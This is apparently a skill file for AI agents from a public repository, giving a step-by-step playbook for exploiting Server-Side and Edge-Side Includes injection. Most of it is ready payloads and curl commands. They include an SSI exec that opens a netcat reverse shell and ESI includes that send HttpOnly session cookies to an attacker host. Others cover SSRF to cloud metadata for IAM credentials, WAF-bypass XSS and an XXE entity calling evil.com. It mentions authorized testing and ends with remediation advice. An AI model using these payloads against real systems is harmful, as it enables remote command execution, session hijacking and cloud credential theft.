exploiting-server-side-includes-esi-injection

$npx mdskill add xalgord/xalgorix/exploiting-server-side-includes-esi-injection

- During authorized tests where a server uses SSI (files `.shtml`, `.shtm`, `.stm`) or a cache/CDN supports ESI - When reflected input may be parsed as directives before the page is served or cached - When responses include `Surrogate-Control: content="ESI/1.0"` (server uses ESI) — but absence does NOT rule it out - When a reverse proxy / CDN (Squid3, Varnish, Fastly, Akamai ETS, NodeJS esi/nodesi) sits in front of the app - When you need to bypass HttpOnly cookie flags, XSS filters, or WAFs via include/var directives

SKILL.md

.github/skills/exploiting-server-side-includes-esi-injectionView on GitHub ↗
---
name: exploiting-server-side-includes-esi-injection
description: Exploiting Server-Side Includes (SSI) and Edge-Side Includes (ESI) injection where unsanitized input is
  reflected into content processed by an SSI-enabled web server or an ESI-capable cache/proxy (Squid, Varnish, Fastly,
  Akamai, nodesi), enabling command execution, file inclusion, SSRF, cookie theft (incl. HttpOnly), and XSS/WAF bypass.
  Activates when reflected input may be parsed as SSI/ESI directives.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- esi-injection
- ssi-injection
- ssrf
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Exploiting SSI / ESI Injection

## When to Use

- During authorized tests where a server uses SSI (files `.shtml`, `.shtm`, `.stm`) or a cache/CDN supports ESI
- When reflected input may be parsed as directives before the page is served or cached
- When responses include `Surrogate-Control: content="ESI/1.0"` (server uses ESI) — but absence does NOT rule it out
- When a reverse proxy / CDN (Squid3, Varnish, Fastly, Akamai ETS, NodeJS esi/nodesi) sits in front of the app
- When you need to bypass HttpOnly cookie flags, XSS filters, or WAFs via include/var directives

## Critical: Variants Most Often Missed

ESI capabilities differ per software, so a failed payload on one stack does not mean immune. Probe both reflected and blind. SSI directive form: `<!--#directive param="value" -->`; ESI form: `<esi:...>`.

```text
# --- DETECTION ---
# SSI reflected echo
<!--#echo var="DATE_LOCAL" -->            # date appears → SSI active
# ESI reflected detection
hell<!--esi-->o                           # renders "hello" → ESI active
# ESI blind detection (callback to your server)
<esi:include src=http://attacker.com>
<esi:debug/>                              # Akamai: dumps debug info in response

# --- SSI EXPLOITATION ---
<!--#exec cmd="id" -->                    # command execution
<!--#exec cmd="mkfifo /tmp/f;nc ATTACKER 4444 0</tmp/f|/bin/bash 1>/tmp/f;rm /tmp/f" -->
<!--#include virtual="/cgi-bin/counter.pl" -->
<!--#include file="secret.txt" -->
<!--#printenv -->

# --- ESI EXPLOITATION ---
# Arbitrary content / XSS include
<esi:include src=http://attacker.com/xss.html>
# SSRF (internal hosts; mind per-software host allowlist)
<esi:include src="http://169.254.169.254/latest/meta-data/"/>
# Cookie theft — bypass HttpOnly by exfiltrating server-side cookie value
<esi:include src=http://attacker.com/?cookie=$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?c=$(HTTP_COOKIE{'JSESSIONID'})" />
# Reflect cookie/XSS into response (engines with Vars support)
<!--esi $(HTTP_COOKIE) -->
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# Add/override response headers (bypass Content-Type to land XSS)
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi $add_header('Location','http://attacker.com') -->
# Private local file include (NOT classic LFI)
<esi:include src="supersecret.txt">

# --- WAF / XSS-FILTER BYPASS via <!--esi--> splitting ---
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(1);</s<esi:vars name="$(var1)"/>>

# --- ESI + XSLT → XXE (Akamai dca="xslt") ---
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```

ESI capability matrix (from GoSecure) — decides which attacks work:

| Software | Includes | Vars | Cookies | Upstream Hdr Required | Host Allowlist |
|----------|----------|------|---------|-----------------------|----------------|
| Squid3 | Yes | Yes | Yes | Yes | No |
| Varnish Cache | Yes | No | No | Yes | Yes |
| Fastly | Yes | No | No | No | Yes |
| Akamai ETS | Yes | Yes | Yes | No | No |
| NodeJS esi | Yes | Yes | Yes | No | No |
| NodeJS nodesi | Yes | No | No | No | Optional |

### How to CONFIRM a hit (avoid false negatives)

- **SSI**: `<!--#echo var="DATE_LOCAL" -->` returns a real date; `<!--#exec cmd="id" -->` returns `uid=...`.
- **ESI reflected**: `hell<!--esi-->o` renders as `hello` (the comment is consumed by the ESI engine).
- **ESI blind**: `<esi:include src=http://COLLAB/>` produces an inbound HTTP request to your server — confirms include even with no reflection.
- **Cookie theft**: your collaborator log shows the victim/server cookie value in the query string (works even for HttpOnly cookies because the edge engine reads them server-side).
- **SSRF**: `<esi:include>` to an internal host returns internal content or a timing/connect difference; mind host allowlists (Varnish/Fastly).
- Try BOTH SSI and ESI forms — a server without the `Surrogate-Control` header may still process ESI.

## Workflow

### Step 1: Detect SSI/ESI

```bash
# Look for ESI surrogate header
curl -sI "https://target/page" | grep -i Surrogate-Control
# Reflected probes
curl -s "https://target/p?q=hell<!--esi-->o"                 # → hello = ESI
curl -s "https://target/p?q=<!--#echo var=\"DATE_LOCAL\" -->" # → date = SSI
# Blind probe with OOB
curl -s "https://target/p?q=<esi:include src=http://COLLAB/>"
```

### Step 2: Exploit

```bash
# SSI command execution / reverse shell
curl -s "https://target/p?q=<!--#exec cmd=\"id\" -->"
# ESI HttpOnly cookie exfiltration
curl -s "https://target/p?q=<esi:include src=http://COLLAB/?c=\$(HTTP_COOKIE)>"
# ESI SSRF to cloud metadata
curl -s "https://target/p?q=<esi:include src=http://169.254.169.254/latest/meta-data/>"
# WAF bypass XSS
curl -s "https://target/p?q=<scr<!--esi-->ipt>alert(1)</scr<!--esi-->ipt>"
```

### Step 3: Escalate / Impact

```text
# Add headers in a forced include (smuggle headers / spoof Host)
<esi:include src="http://example.com/x">
  <esi:request_header name="User-Agent" value="12345"/>
</esi:include>
# Akamai: pivot ESI → XSLT → XXE for file read / SSRF
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl"/>
```
XSLT file used by the `dca="xslt"` pivot:
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file">]>
<foo>&xxe;</foo>
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **SSI** | `<!--#directive -->` evaluated by the web server (Apache/IIS) at serve time |
| **ESI** | `<esi:...>` evaluated by an edge cache/proxy to assemble dynamic fragments |
| **`Surrogate-Control: content="ESI/1.0"`** | Indicates ESI; absence does not guarantee safety |
| **Vars support** | Engines with Vars allow `$(HTTP_COOKIE)` reflection & XSS-filter bypass |
| **Host allowlist** | Varnish/Fastly restrict include targets, limiting SSRF |
| **`<!--esi-->` splitting** | Comment consumed by engine, splitting tokens to bypass WAFs |
| **dca="xslt"** | Akamai ESI option enabling XSLT → XXE chaining |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Suite** | Inject SSI/ESI directives, observe reflection & cache behavior |
| **Collaborator / interactsh** | Confirm blind `<esi:include>` and cookie exfiltration |
| **curl** | Manual detection/exploitation probes |
| **Auto_Wordlists/ssi_esi.txt** | SSI/ESI payload list |
| **Akamai ETS / nodesi (local)** | Reproduce engine-specific behavior |

## Common Scenarios

### Scenario 1: SSI Command Execution
A `.shtml` page reflects a parameter. `<!--#exec cmd="id" -->` returns `uid=33(www-data)`, and a `mkfifo`/`nc` payload yields a reverse shell.

### Scenario 2: ESI HttpOnly Cookie Theft
A CDN (Akamai/Squid) processes ESI and exposes cookies. `<esi:include src=http://attacker/?c=$(HTTP_COOKIE)>` ships the victim's session cookie to the attacker even though it is HttpOnly.

### Scenario 3: ESI SSRF to Cloud Metadata
The edge has no host allowlist. `<esi:include src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">` returns cloud IAM credentials assembled into the cached response.

## Output Format

```
## SSI / ESI Injection Finding

**Vulnerability**: Server-Side Includes / Edge-Side Includes Injection
**Severity**: High to Critical (CVSS 8.1–9.8 for RCE/SSRF/cookie theft)
**Location**: GET /page?q=<SSI/ESI payload>
**OWASP Category**: A03:2021 - Injection (A10 SSRF when applicable)

### Reproduction Steps
1. Detect: q=hell<!--esi-->o renders "hello" (ESI active).
2. Confirm blind: q=<esi:include src=http://COLLAB/> → inbound request received.
3. Exploit: q=<esi:include src=http://COLLAB/?c=$(HTTP_COOKIE)> → session cookie exfiltrated.

### Evidence
| Payload | Result | Capability |
|---------|--------|-----------|
| hell<!--esi-->o | hello | ESI engine present |
| <esi:include src=http://COLLAB> | callback | Blind include / SSRF |
| ?c=$(HTTP_COOKIE) | cookie in log | HttpOnly cookie theft |
| <!--#exec cmd="id"--> | uid=... | SSI RCE |

### Impact
Remote command execution (SSI), SSRF to internal/cloud-metadata services, theft of HttpOnly session cookies, XSS/WAF bypass, and XXE via ESI→XSLT chaining.

### Recommendation
1. Disable SSI (`Options -Includes`) and ESI processing where not required.
2. HTML-encode all reflected input so `<!--#`, `<esi:`, and `<!--esi-->` cannot be parsed as directives.
3. Enforce strict ESI host allowlists and require upstream Surrogate-Control headers.
4. Never allow user input to reach cached fragments unescaped; segment trust between app and edge.
```

More from xalgord/xalgorix